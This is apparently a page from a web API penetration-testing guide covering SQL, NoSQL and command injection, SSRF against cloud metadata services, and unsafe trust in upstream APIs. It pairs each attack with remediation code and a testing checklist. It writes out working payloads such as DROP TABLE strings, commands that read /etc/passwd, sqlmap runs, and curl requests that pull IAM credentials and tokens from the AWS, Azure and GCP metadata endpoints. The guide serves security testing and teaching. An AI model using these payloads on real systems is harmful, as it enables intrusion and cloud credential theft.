Injection Attacks
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. In APIs, this often manifests as SQL Injection, NoSQL Injection, Command Injection, or Server-Side Request Forgery (SSRF).
Authorization boundary
sleep 5, not sleep 600), and never let a metadata request leave the account — an SSRF
that reaches IMDS is a credential compromise on a real subscription.
What is API-specific here
SQL Injection (SQLi)
Test all input vectors including query parameters, JSON body, and headers.
Query parameters
Inject SQL syntax into URL parameters.
GET /api/users?id=1'
GET /api/users?id=1"
GET /api/users?id=1 OR 1=1
GET /api/users?id=1; DROP TABLE users--JSON body
Inject into JSON fields. Unlike a form post, a JSON value keeps its type — a number where a string is expected, or a string containing SQL, both reach the driver unchanged.
POST /api/login
Content-Type: application/json
{
"username": "admin' --",
"password": "password"
}Headers
Inject into headers like User-Agent.
User-Agent: ' OR 1=1--Automated testing
Use SQLMap for automated detection and exploitation. Point it at a saved request so it covers the body and headers, not just the URL.
sqlmap -u "https://api.target.com/api/users?id=1" --batch --banner
sqlmap -r request.txt -p username --batch --level 3NoSQL Injection
NoSQL databases (like MongoDB) are also vulnerable, often through operator injection. The API-specific form is
a JSON body: {"username": {"$ne": null}} is an object where the handler expected a string, and the
driver happily treats it as a query operator. Full operator coverage, driver quirks and the query-string
variants (?username[$ne]=admin, where the framework parses brackets into nested objects) are in
06m — NoSQL Injection.
JSON body operator injection
POST /api/login
Content-Type: application/json
{
"username": {"$ne": null},
"password": {"$ne": null}
}Regex injection
The same shape with $regex turns a login into a prefix oracle — one character at a time, without
ever knowing the password:
{
"username": {"$regex": "^admin"},
"password": {"$ne": null}
}The type is the vulnerability
Command Injection
If the API executes system commands with user input, it might be vulnerable.
Basic injection
Use command separators like ;, &&, |.
GET /api/ping?host=127.0.0.1; id
GET /api/ping?host=127.0.0.1 && cat /etc/passwd
GET /api/ping?host=127.0.0.1 | whoami
GET /api/ping?host=$(hostname)
GET /api/ping?host=`id`Blind injection
Use time-based payloads if output is not returned.
GET /api/ping?host=127.0.0.1; sleep 10Where APIs hide a shell
Image and PDF conversion, media transcoding, archive extraction, DNS and ping diagnostics, "export to CSV"
helpers, git and package-manager wrappers, and template rendering that shells out. Test each with a harmless
separator and sleep before you try to read anything.
Server-Side Request Forgery (SSRF)
SSRF allows an attacker to induce the server to make requests to unintended locations. On an API the primitive
is usually a JSON field — a webhook URL, an image or PDF source, a "scan this" target — and the prize is the
cloud metadata service. Filter bypasses (decimal, hex and IPv6 encodings, DNS rebinding, redirects,
file://) are catalogued in
06e — SSRF;
what follows is the API and cloud half.
Internal scanning
Target internal IP addresses or localhost.
POST /api/webhook
Content-Type: application/json
{
"url": "http://localhost:80"
}POST /api/scan
Content-Type: application/json
{
"target": "192.168.1.1"
}Cloud metadata
Target cloud metadata services to steal credentials.
POST /api/webhook
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/"
}
AWS IMDSv2 needs a PUT with a token TTL header before any read, then the token on every request:
# IMDSv1 (classic — still works if the instance was never moved to v2)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2 — Step 1: get a session token
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# IMDSv2 — Step 2: use the token to query metadata
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/What IMDSv2 actually stops
GET with fixed headers cannot complete step 1, so IMDSv2 defeats
it. Test whether the SSRF lets you choose the method and set a header — a proxy that forwards your request
does, and then IMDSv2 is no obstacle. That is the difference between "the instance is hardened" and "the
endpoint is harmless", and only the second one is a finding.
Azure and GCP have their own metadata services, both reachable at the same link-local address with a required header:
# Azure Instance Metadata Service (IMDS)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP Metadata Service
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/project/project-idSSRF is the gateway to cloud account takeover
Unsafe Consumption of APIs (API10)
Every other category on this list is about data arriving from a user. API10 is about data arriving from
another service — a supplier feed, a payment provider, a shipping calculator, an OAuth
userinfo endpoint, a URL shortener, an LLM provider, or a webhook sender. Developers extend trust
to those responses that they would never extend to a request body: they skip TLS verification, follow
redirects, parse whatever comes back, and act on the fields. The attacker does not need to break your
authentication — they need to control, or intercept, one of your upstreams.
1. Inventory the outbound calls
List every host your API calls and what it does with the answer: webhooks and callbacks, image/PDF fetchers, currency and address lookups, enrichment and KYC providers, package registries, OAuth userinfo, analytics forwarders, LLM proxies. Each one is an entry point that bypasses your own authentication.
2. No TLS verification on the outbound call
Look in the code and in the configuration for rejectUnauthorized: false, verify=False,
curl -k, a permissive NODE_TLS_REJECT_UNAUTHORIZED=0, or a trust-all
TrustManager. Point the integration at a host you control with a self-signed certificate: if the
call succeeds, the response was never authenticated, and anyone on the path can answer instead of the provider.
3. Following redirects
An outbound client that follows 30x automatically turns a vetted hostname into an open door. A
compromised or attacker-registered upstream returns 302 Location: http://169.254.169.254/…, and the
client follows it with the headers and credentials it was given. Test by pointing the integration at a stub that
redirects; check whether the second hop happens and what it carries.
4. Deserializing the upstream body
Native deserialization of remote data — Java ObjectInputStream, Python pickle or
yaml.load, .NET BinaryFormatter, PHP unserialize — hands code execution
to whoever answers the call. The realistic case is a webhook or queue consumer that deserializes
Content-Type-driven bodies. Test with a benign gadget payload from a stub server and watch for
deserialization errors that echo class names.
5. No schema validation
A response is untrusted input even when it comes from a partner. Return malformed, oversized and
wrong-typed bodies from a stub and see what reaches your application: a 2 MB string in a
display_name, a nested object where a string belongs, an HTML error page parsed as JSON, a
negative amount in a payment reconciliation field. Where those values are interpolated into a query, rendered
into an admin page or used to make a decision, the upstream has just delivered SQLi, XSS or a logic bypass
through the back door.
6. Unsigned inbound webhooks
The same trust boundary in reverse. If a webhook handler acts on the body — marks an invoice paid, provisions an account, ships an order — without verifying an HMAC signature and a timestamp, anyone who can reach the URL can forge the event. Check for a signature header, verify it against the raw body (not the re-serialized object), and reject stale timestamps.
The controls, in code
// NoSQL — reject the shape before the driver sees it
if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
return res.status(400).json({ error: 'invalid_request' });
}
// Command injection — argv, no shell, validated argument
const HOST = /^[a-z0-9.-]{1,253}$/i;
if (!HOST.test(host)) return res.status(400).json({ error: 'invalid_host' });
execFile('ping', ['-c', '1', host], { timeout: 5000 }, cb);
// API10 — verify the callback before acting on it
const expected = crypto.createHmac('sha256', WEBHOOK_SECRET)
.update(rawBody).digest();
const received = Buffer.from(req.get('X-Signature') ?? '', 'hex');
if (received.length !== expected.length ||
!crypto.timingSafeEqual(expected, received)) {
return res.sendStatus(401);
}Evidence Collection
For an injection or SSRF finding, capture:
The payload and its context: The parameter, the exact payload and where it landed — JSON value, object key, sort parameter, header — because a payload that works in one context rarely survives the next.
Proof of execution, not of reflection: Error text that names the database or interpreter, a timing difference, a true/false pair, or the out-of-band callback from your own listener.
What the process could reach:
For SSRF and command injection: the resolved address or binary, the metadata or file path read, and the OS user the service ran as (id, not a guess).
False Positive Identification
- Reflection is not injection: A payload echoed back in the body, a stack trace, or a generic 500 proves the input reached a handler. Require a side channel, a type change or a true/false response difference before calling it execution.
- The request the WAF blocked: A 403 or a vendor block page means a filter matched your string, not that the backend ran it. Re-send an encoding variant plus a benign payload of the same shape: if both are blocked, you have measured the WAF.
Testing Checklist
Injection
- ☐ Inject per context: JSON values, operator keys, sort and limit parameters, headers and XML bodies — not just the documented string fields.
- ☐ Confirm execution with a boolean pair, a time delay or an out-of-band lookup rather than response text.
SSRF and upstream trust
- ☐ Point every URL-taking parameter at your listener through each bypass form: decimal and hex IPs, IPv6, redirects, DNS rebinding.
- ☐ Check webhook handlers for an HMAC signature over the raw body, a timestamp window, and schema validation of the payload.
Remediation & Defense
Each class has one structural fix: keep data out of the interpreter, types out of the query, the shell out of the command, the destination fixed, and the upstream untrusted.
SQL: parameterized queries only
- • Bind every value and build no query strings. Apply the same rule to the ORM raw fragments — whereRaw, sequelize.query, find_by_sql — where the concatenation comes back.
NoSQL: type-check before the driver
- • Reject any non-string value in a field the API declared as a string, and reject keys beginning with a dollar sign. Never pass req.body or req.query as a filter.
Commands: argv, no shell
- • Call the program with an argument array and no shell (execFile, subprocess.run with shell=False, ProcessBuilder), validate the argument against a strict pattern, and run as a non-root user with a timeout.
SSRF: fix the destination
- • Allowlist scheme, host and port; resolve DNS and reject private, loopback and link-local results — then re-check at connect so a rebinding answer cannot swap the address. Follow no redirects, or validate each hop.
IMDSv2 and an egress path
- • Require IMDSv2 on every instance (HttpTokens=required, HttpPutResponseHopLimit=1) so a GET-only primitive cannot fetch credentials, and send outbound fetches through an allowlisting proxy with no route to link-local or RFC1918 space.
API10: treat upstreams as untrusted
- • TLS verification on with no opt-out, redirects disabled, strict schema validation on every response, JSON parsing instead of native deserialization, and HMAC verification on inbound webhooks.
API-specific injection vectors
Content-Type headers (XML injection if the API accepts XML),
Accept-Language headers (template injection), sorting parameters (?sort=name;DROP TABLE users),
and array parameters (?ids[]=1&ids[]=2'--). API gateways sometimes parse these before the backend does.
API Injection Practice
Practice SQL, NoSQL, command injection, SSRF, and third-party response handling on deliberately vulnerable API applications.
Related Guides & Resources
← Back to API Pentesting
Overview of API security testing
Rate Limiting
DoS and resource exhaustion
GraphQL Testing
GraphQL-specific attacks
SQL Injection Guide
In-depth SQL injection techniques
SSRF Deep Dive
Filter bypasses, DNS rebinding, protocol tricks
NoSQL Injection
Operator injection across drivers